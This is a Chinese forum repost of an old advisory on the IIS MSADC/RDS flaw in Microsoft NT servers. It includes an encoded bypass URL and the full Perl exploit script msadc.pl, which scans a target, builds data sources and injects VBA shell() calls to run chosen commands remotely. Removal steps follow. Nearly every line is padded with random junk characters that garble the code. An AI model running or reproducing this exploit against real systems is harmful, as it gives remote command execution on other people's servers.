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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) \41)0,sEy  
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涉及程序: !LIfeL.4h  
Microsoft NT server T#G<?oF  
- (_e=3$  
描述: p?$G>nkdq  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 R:OU>HsdX  
} .3]  
详细: 3U"')  
如果你没有时间读详细内容的话,就删除: Dbdzb m7  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 8$v zpu  
有关的安全问题就没有了。 Bd9hf`% 2  
%7>AcTN~  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 3V Mh)  
CQjZAv  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 4m~7 ~-h  
关于利用ODBC远程漏洞的描述,请参看: Y3$PQwn .P  
25a#eDbqi  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm PIEW\i  
w,![;wG  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 A?Nn>xF9X  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp EARfbb"SG7  
JC&6q >$  
这里不再论述。 )y`TymM[F  
BLwfm+ m"  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: a#Kmj 0  
S@c\|  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset WHgV_o 8  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! q)?p$\  
O+o;aa6  
4aN+}TkH@G  
#将下面这段保存为txt文件,然后: "perl -x 文件名" nR o=J5tY  
X"k^89y$  
#!perl 9eGCBVW:*  
# ?UZ$bz  
# MSADC/RDS 'usage' (aka exploit) script : _^0'ULP  
# 4\1wyN /}M  
# by rain.forest.puppy b ~/Wnp5  
# AJ\VY;m7F  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me D(qHf9  
# beta test and find errors! P(pd0,%i;a  
]HyHz9QkL  
use Socket; use Getopt::Std; G}P)vfcH  
getopts("e:vd:h:XR", \%args); MOP]\ypn  
U6juS/  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; }O.LPQ0  
VR4E 2^  
if (!defined $args{h} && !defined $args{R}) { : 'd76pM-  
print qq~ :/@k5#DY  
Usage: msadc.pl -h <host> { -d <delay> -X -v } BH&/2tO%  
-h <host> = host you want to scan (ip or domain) X:G& 5  
-d <seconds> = delay between calls, default 1 second QJ a4R  
-X = dump Index Server path table, if available hGed/Yr  
-v = verbose dd \bI_  
-e = external dictionary file for step 5 [xtK"E#  
|"CJ  
Or a -R will resume a command session Ii~; d3.  
0{0;1.ZP  
~; exit;} }c` ?0FQ  
(B>)2:T1  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; _8[UtZYG  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ^e?$ ]JiA!  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} F2bm+0vOJ  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); e86Aqehle  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} $R%+*  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } U_ x0KIm  
J16=!q()  
if (!defined $args{R}){ $ret = &has_msadc; /&D'V_Q`*  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} v#<\:|XAg  
2q"_^deI5*  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" M'cJ)-G  
. "cmd /c "; uX[O,l^}  
$in=<STDIN>; chomp $in; e1%rVQ(v  
$command="cmd /c " . $in ; g|ql 5jW  
FNz84qVIx'  
if (defined $args{R}) {&load; exit;} 3TU'*w &  
7o;x (9  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; >"cr-LB  
&try_btcustmr; ljup#:n  
nU} ~I)@V  
print "\nStep 2: Trying to make our own DSN..."; V.;:u#{@-Q  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; M4TrnZ1D}  
DH\wDQ  
print "\nStep 3: Trying known DSNs..."; a?zR8$t|  
&known_dsn; !Z U_,[  
"?i>p z  
print "\nStep 4: Trying known .mdbs..."; f\h%; X  
&known_mdb; GhqgRzX  
*-9#/Cp  
if (defined $args{e}){ CxJfrI_W  
print "\nStep 5: Trying dictionary of DSN names..."; pNp^q/- yB  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } J3H.%m!V  
C0\%QXu  
print "Sorry Charley...maybe next time?\n"; t-!Rgg$9  
exit; Z,0O/RFJ.q  
g9DG=\*A  
############################################################################## \HCOR, `T  
r~)VGdB+  
sub sendraw { # ripped and modded from whisker ]@*tfz\YaH  
sleep($delay); # it's a DoS on the server! At least on mine... GS}0;x  
my ($pstr)=@_; so} l#  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || $!a?i@  
die("Socket problems\n"); >W8bWQ^fK  
if(connect(S,pack "SnA4x8",2,80,$target)){ {V[Ha~b%*  
select(S); $|=1; mYjf5  
print $pstr; my @in=<S>; 5\VxXiy 0  
select(STDOUT); close(S); 4$%`Qh>yA  
return @in; 65lOX$*{-  
} else { die("Can't connect...\n"); }}  pz$_W  
c`-YIz)W  
############################################################################## pAEN XC\,  
mH'\:oN  
sub make_header { # make the HTTP request =f o4x|{O  
my $msadc=<<EOT G-2EQ.  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 DZJ eup?Z  
User-Agent: ACTIVEDATA ^[en3aQ  
Host: $ip 6/|U  
Content-Length: $clen Y.E?;iS  
Connection: Keep-Alive wOjv[@d  
>[K0=nA  
ADCClientVersion:01.06 mDZ=Due1  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 (Ar?QwP9>  
]X*YAPv  
--!ADM!ROX!YOUR!WORLD! 9^oo-,Su_  
Content-Type: application/x-varg GL/  KB  
Content-Length: $reqlen F\JLbY{x]  
[d0%.+U  
EOT b 1cd&e  
; $msadc=~s/\n/\r\n/g; V{KjRSVf=  
return $msadc;} FnY$)o;   
?3[tJreVj  
############################################################################## b<\$d4Qy  
{&uT3*V1  
sub make_req { # make the RDS request 9 >%+bA(  
my ($switch, $p1, $p2)=@_; o1U}/y+R\  
my $req=""; my $t1, $t2, $query, $dsn; w .tW=z5  
"s% 686Vz  
if ($switch==1){ # this is the btcustmr.mdb query B jYOfu'~z  
$query="Select * from Customers where City=" . make_shell(); H;qJH1EdD  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . +hpSxdAz4  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} 0"TgLd  
Y7-*2"!  
elsif ($switch==2){ # this is general make table query NP "ylMr7P  
$query="create table AZZ (B int, C varchar(10))"; 6?O}Q7G  
$dsn="$p1";} L4~ W/6A  
0k%hY{  
elsif ($switch==3){ # this is general exploit table query 'X54dXS?l  
$query="select * from AZZ where C=" . make_shell(); B n{)|&;  
$dsn="$p1";} $iwIF7,\P  
L+73aN  
elsif ($switch==4){ # attempt to hork file info from index server &T7cH>E'K^  
$query="select path from scope()"; 3i6h"Wu`n  
$dsn="Provider=MSIDXS;";} \OP9_J(*  
_y>}#6B  
elsif ($switch==5){ # bad query M=W 4:H,gx  
$query="select"; YtMlqF  
$dsn="$p1";} ]s _@n!  
au}s=ua~i  
$t1= make_unicode($query); NK~PcdGl  
$t2= make_unicode($dsn); k9 l^6#<?  
$req = "\x02\x00\x03\x00";  *=TYVM9  
$req.= "\x08\x00" . pack ("S1", length($t1)); bhn5Lz$z  
$req.= "\x00\x00" . $t1 ; o,J^ e_  
$req.= "\x08\x00" . pack ("S1", length($t2)); b]w[*<f?  
$req.= "\x00\x00" . $t2 ; 0:. 6rp  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; ":V%(c  
return $req;} #J\s%60pt  
dKb ^x^  
############################################################################## ~zMDY F"&  
n%*tMr9s  
sub make_shell { # this makes the shell() statement Z&A0hI4d  
return "'|shell(\"$command\")|'";} TQ?#PRB  
B_cgWJ*4  
############################################################################## :Z[(A"dA  
~U9q-/(J/  
sub make_unicode { # quick little function to convert to unicode kB V/rw  
my ($in)=@_; my $out; >{b3>s~T  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } } #qQ2NCH  
return $out;} T RDxT  
e9lOk)`t  
############################################################################## %;tJQ%6-.S  
{ a. <`  
sub rdo_success { # checks for RDO return success (this is kludge) {gw [%[ZM  
my (@in) = @_; my $base=content_start(@in); pD[pTMG@$  
if($in[$base]=~/multipart\/mixed/){ QhsVIta  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} -8/JP  
return 0;} rfc|`*m}0  
k1 RV'  
############################################################################## /eb-'m  
!O8.#+  
sub make_dsn { # this makes a DSN for us pu#[pa  
my @drives=("c","d","e","f"); HJ",Sle  
print "\nMaking DSN: "; nn'Af,ko/  
foreach $drive (@drives) { /~tP7<7A  
print "$drive: "; :s]\k%"  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . **n y!  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="  jC4O`  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); o<nS_x  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; &1l~&,,  
return 0 if $2 eq "404"; # not found/doesn't exist >P<'L4;  
if($2 eq "200") { zC#%6@P\  
foreach $line (@results) { 2 ZK%)vq0  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} m2Q$+p@  
} return 0;} ~XKZXGw  
EWO /u.z  
############################################################################## 4dD2{M  
kf'=%]9#_T  
sub verify_exists { @+E7w6>%  
my ($page)=@_; >9MS" t  
my @results=sendraw("GET $page HTTP/1.0\n\n"); I3PQdAs~&h  
return $results[0];} *x!LKIpv  
&Q~)]|t  
############################################################################## UhdqY]  
G1/Gq.<  
sub try_btcustmr { .zIgbv s  
my @drives=("c","d","e","f"); m &!XA  
my @dirs=("winnt","winnt35","winnt351","win","windows"); /S[?{QA  
- zQ<Z E  
foreach $dir (@dirs) { A$:|Qd7F1  
print "$dir -> "; # fun status so you can see progress x)$2nonM  
foreach $drive (@drives) { }2=hd..  
print "$drive: "; # ditto p(?g-  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; vzG ABP  
$reqlenlen=length( "$reqlen" ); F<gMUDB  
$clen= 206 + $reqlenlen + $reqlen; {:$NfW  
XfDX:b1p  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); M9DgO4xl  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} GL`tOD:P"  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 0#^Bf[Dn  
Z0W0uP;J  
############################################################################## 2LC w*eT{)  
#QS?s8IrW  
sub odbc_error { TaWaHf  
my (@in)=@_; my $base; -x5F;d}  
my $base = content_start(@in); .:N:pWe  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this FB_NkXR  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; dXK-&Po'  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; @h9K  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; d>/Tu_ y  
return $in[$base+4].$in[$base+5].$in[$base+6];} TL'0T,Jo  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; fM2^MUp[=1  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . Fpf><Rn  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} G AEZY  
7"a4/e;^  
############################################################################## +99Bi2H}o  
UKj`_a6  
sub verbose { =Epq%,4nG  
my ($in)=@_; hkF^?AJ  
return if !$verbose; D J_DonO]  
print STDOUT "\n$in\n";} M $uf:+F  
A%n?}  
############################################################################## ST% T =_q  
s??czM2O  
sub save { abSq2*5K  
my ($p1, $p2, $p3, $p4)=@_; [T]Bfo  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; | k}e&Q_/G  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; ="2/\*.SL  
close OUT;} G B&:G V  
Ld~q1*7J  
############################################################################## ?BsH{Q RYQ  
Wc\+x1:8  
sub load { ZB0+GG\  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; S<pk c8  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 2vvh|?M  
@p=<IN>; close(IN); z7k$0&  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); q5?{ 1  
$target= inet_aton($ip) || die("inet_aton problems"); Q i^;1&  
print "Resuming to $ip ..."; NWaO_sm  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; sv`"\3N[  
if($p[1]==1) { dN0mYlu1|  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; .)t (:)*b  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; {2 EMz|&8  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); o3\,gzJ  
if (rdo_success(@results)){print "Success!\n";} 9 rS, ?  
else { print "failed\n"; verbose(odbc_error(@results));}} z<h|#@\  
elsif ($p[1]==3){ /GN4I!LA  
if(run_query("$p[3]")){ +o u Y  
print "Success!\n";} else { print "failed\n"; }} ~#4~_d.=L  
elsif ($p[1]==4){ #D0W7 a  
if(run_query($drvst . "$p[3]")){ ib; yu_  
print "Success!\n"; } else { print "failed\n"; }} 0 Az/fzJlz  
exit;} ^Et ,TF\  
8W$L:{ez  
############################################################################## Xb0!( (A  
8t=3  
sub create_table { l=NAq_?N\  
my ($in)=@_; bQj`g2eyM  
$reqlen=length( make_req(2,$in,"") ) - 28; B j=@&;  
$reqlenlen=length( "$reqlen" ); T]uKH29.%  
$clen= 206 + $reqlenlen + $reqlen; `-u7 I  
my @results=sendraw(make_header() . make_req(2,$in,"")); J'Gm7h{   
return 1 if rdo_success(@results); gi1j/j7  
my $temp= odbc_error(@results); verbose($temp); 8$m1eQ`{  
return 1 if $temp=~/Table 'AZZ' already exists/; BjvdnbJg  
return 0;} M?R!n$N_  
J^h'9iQpi  
############################################################################## FR["e1<0  
dE GX3 -  
sub known_dsn { Vmtzig3w[  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 506V0]`/  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", F1J#Y$q~L  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", ydup)[n  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); {lMqcK  
j-6v2MH  
foreach $dSn (@dsns) { UO1$UF! QC  
print "."; k% NrL@z  
next if (!is_access("DSN=$dSn")); .jaZ|nN8`  
if(create_table("DSN=$dSn")){ >3!DOv   
print "$dSn successful\n"; -O%[!&`  
if(run_query("DSN=$dSn")){ q}s K  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { &rP~`4Mkp  
print "Something's borked. Use verbose next time\n";}}} print "\n";} g<\>; }e  
w?S8@|MK  
############################################################################## | @ *3^'  
K-6p'|  
sub is_access { 6i-*N[!U  
my ($in)=@_; )WmZP3$^TX  
$reqlen=length( make_req(5,$in,"") ) - 28; F3 Y<ZbxT  
$reqlenlen=length( "$reqlen" ); {6:& %V  
$clen= 206 + $reqlenlen + $reqlen; 3; A$<s  
my @results=sendraw(make_header() . make_req(5,$in,"")); nd;O(s;  
my $temp= odbc_error(@results); 8m|x#*5fQl  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); *W%'Di  
return 0;} y qkX:jt  
K.%z;( U  
############################################################################## 0Gx*'B=  
CWBbSGk  
sub run_query { ,# eO&  
my ($in)=@_; Lrlk*   
$reqlen=length( make_req(3,$in,"") ) - 28; s.KOBNCFa  
$reqlenlen=length( "$reqlen" ); /k) NP  
$clen= 206 + $reqlenlen + $reqlen; d=F)y~&'  
my @results=sendraw(make_header() . make_req(3,$in,"")); L\YZT| K(  
return 1 if rdo_success(@results); $YPQC  
my $temp= odbc_error(@results); verbose($temp); #r(a~  
return 0;} m|mG;8}pI  
hwp/jO:7\  
############################################################################## "h$D7 mL  
Hva{A #  
sub known_mdb { a}w&dE$!-  
my @drives=("c","d","e","f","g"); pJn>oGeJ&  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Z@u ;Z[@  
my $dir, $drive, $mdb; ]o `4Z"  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; ?`"<DH~:0B  
m EFWo  
# this is sparse, because I don't know of many [?|5 oaK  
my @sysmdbs=( "\\catroot\\icatalog.mdb", pj+tjF6Np  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", 4L!e=>as"1  
"\\system32\\certmdb.mdb", PYaOH_X.  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% }^Z< dbt  
f@L \E>t  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", =@%MV(  
"\\cfusion\\cfapps\\forums\\forums_.mdb", CM"s9E8y  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", 9c%(]Rn:  
"\\cfusion\\cfapps\\security\\realm_.mdb", jWhD5k@v  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", Q6xgLx[  
"\\cfusion\\database\\cfexamples.mdb", WFXx70n  
"\\cfusion\\database\\cfsnippets.mdb", ${e -ffyy  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", ijg,'a~3E  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", w2' 3S#nZ  
"\\cfusion\\brighttiger\\database\\cleam.mdb", /lru"R D  
"\\cfusion\\database\\smpolicy.mdb", x7Eeb!s0f,  
"\\cfusion\\database\cypress.mdb", noFh p  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", WVj&0  
"\\website\\cgi-win\\dbsample.mdb", HaS[.&\S0  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", %$^$'6\77  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" X=\x&Wt  
); #these are just {<"[D([  
foreach $drive (@drives) { Mg&HRE  
foreach $dir (@dirs){ }WoX9M; 1  
foreach $mdb (@sysmdbs) { 8`6 LMQ  
print "."; L-SdQTx_  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ]2g5Ka[>w  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; X9SJ~n  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ aL{EkiR  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; Kgps_tY%  
} else { print "Something's borked. Use verbose next time\n"; }}}}} Gtf1}UJC  
2 e )  
foreach $drive (@drives) { gZ=) qT]Pj  
foreach $mdb (@mdbs) { ;wfH^2HxE)  
print "."; :LG}yq^  
if(create_table($drv . $drive . $dir . $mdb)){ YK7gd|LR]  
print "\n" . $drive . $dir . $mdb . " successful\n"; O $YJku  
if(run_query($drv . $drive . $dir . $mdb)){ !P+~ c0DF  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; O'Vh{JHf  
} else { print "Something's borked. Use verbose next time\n"; }}}} YstXNN4  
} bl6':m+  
CR P7U  
############################################################################## [@jp9D H  
@b4b{d5[  
sub hork_idx { zR_9D}  
print "\nAttempting to dump Index Server tables...\n"; ^o,y5 ,  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; dV'6m@C  
$reqlen=length( make_req(4,"","") ) - 28; L>eQ*311  
$reqlenlen=length( "$reqlen" ); I):m6y@  
$clen= 206 + $reqlenlen + $reqlen; 1i ?gvzrq  
my @results=sendraw2(make_header() . make_req(4,"",""));  j@s=ER  
if (rdo_success(@results)){ &IxxDvP3k  
my $max=@results; my $c; my %d; G;87in ,}  
for($c=19; $c<$max; $c++){ 2nVuz9h  
$results[$c]=~s/\x00//g; 9(V=Ubj  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; :+kg4v&r  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; H rM)jC<~  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; AN50P!FZW  
$d{"$1$2"}="";}  zgZi  
foreach $c (keys %d){ print "$c\n"; } PpI+@:p[  
} else {print "Index server doesn't seem to be installed.\n"; }} x A@|I#  
=lw4 H_  
############################################################################## 9_I[o.q   
o<9yaQ;  
sub dsn_dict { _gis+f/8h  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); 2&3eAJC  
while(<IN>){ yOn H&Jj  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; 3^uL`ETm@  
next if (!is_access("DSN=$dSn")); ;2+ FgOj  
if(create_table("DSN=$dSn")){ 9CgXc5  
print "$dSn successful\n"; r! cNc  
if(run_query("DSN=$dSn")){ $yP'k&b!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 9J't[( u|u  
print "Something's borked. Use verbose next time\n";}}} qen44;\L  
print "\n"; close(IN);} Ih9ORp7  
rcD.P?"  
############################################################################## eA;j/&qH  
iPR!JX _  
sub sendraw2 { # ripped and modded from whisker :Q0?ub]  
sleep($delay); # it's a DoS on the server! At least on mine... (Q*2dd>  
my ($pstr)=@_; p7?CeyZ-V  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || k:&?$  
die("Socket problems\n"); NXC~#oG  
if(connect(S,pack "SnA4x8",2,80,$target)){ ^Y1AeJ$L  
print "Connected. Getting data"; eP-R""uPw  
open(OUT,">raw.out"); my @in; Qr^Z~$i t  
select(S); $|=1; print $pstr; A= \'r<:  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} w>1l@%U o  
close(OUT); select(STDOUT); close(S); return @in; t6! p\Y}}  
} else { die("Can't connect...\n"); }} v ](G?L9b  
HZ[68T[8b  
############################################################################## %Hh &u .  
< |]i  
sub content_start { # this will take in the server headers ,_e/a   
my (@in)=@_; my $c; J7&.>y1%  
for ($c=1;$c<500;$c++) { o{ YW  
if($in[$c] =~/^\x0d\x0a/){ 7k[`]:*o  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } =]2RC1#}e  
else { return $c+1; }}} MfZ}xu  
return -1;} # it should never get here actually ~0Q\Lp);  
:c+a-Py $E  
############################################################################## A1=$kzw{UH  
N'Z_6A*-  
sub funky { 4`EvEv$i  
my (@in)=@_; my $error=odbc_error(@in); GT1 X  
if($error=~/ADO could not find the specified provider/){ T^-H_|/M  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; *n$m;yI  
exit;} z!Pdivx  
if($error=~/A Handler is required/){ [W8iM7D  
print "\nServer has custom handler filters (they most likely are patched)\n"; |n-a\  
exit;} 7!` C TE  
if($error=~/specified Handler has denied Access/){ D{Jc+Q$  
print "\nServer has custom handler filters (they most likely are patched)\n"; t"!8  
exit;}} 3qV>TE]6,  
s1*WK&@  
############################################################################## D; 35@gtj  
\e5,`  
sub has_msadc { JVIcNK)  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); "8C(_z+]K`  
my $base=content_start(@results); k*UR# z(I  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); :BrnRW64  
return 0;} 9b=^"K  
2kmna/Qa6  
######################## EcS-tE 4%  
bW 79<T'+  
ko7-%+0|]  
解决方案: /i]=ndAk  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll F6neG~Y  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 WTy8N  
?U.&7yY  
拿出来充数 哈哈
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